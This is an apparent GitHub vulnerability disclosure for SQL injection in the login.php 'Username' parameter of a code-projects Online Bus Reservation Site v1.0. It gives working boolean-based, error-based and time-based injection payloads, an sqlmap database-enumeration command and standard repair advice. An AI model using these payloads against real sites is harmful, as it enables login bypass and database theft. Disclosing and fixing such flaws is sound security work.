t4rrega / cve

0 stars 0 forks source link

code-projects Online Bus Reservation Site Using PHP With Source Code v1.0 login.php SQL injection #2

Open t4rrega opened 2 months ago

t4rrega commented 2 months ago

code-projects Online Bus Reservation Site Using PHP With Source Code v1.0 login.php SQL injection

NAME OF AFFECTED PRODUCT(S)

Impact

Username=123123&Password=321321&submit=Continue


## Vulnerability type: 
+ time-based blind
+ boolean-based blind
+ error-based

## Vulnerability location:
+ 'Username' parameter 
## Payload: 

Parameter: Username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: Username=123123' OR NOT 4225=4225#&Password=321321&submit=Continue

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: Username=123123' AND GTID_SUBSET(CONCAT(0x71786b7071,(SELECT (ELT(6195=6195,1))),0x7171766a71),6195)-- faLz&Password=321321&submit=Continue

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: Username=123123' AND (SELECT 8161 FROM (SELECT(SLEEP(5)))UUVQ)-- yMOI&Password=321321&submit=Continue
<img width="670" alt="2" src="https://github.com/user-attachments/assets/87b693a8-ca05-461f-a838-97a225c46d85">

## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap -r 123 --batch --dbs
3

Suggested repair

  1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.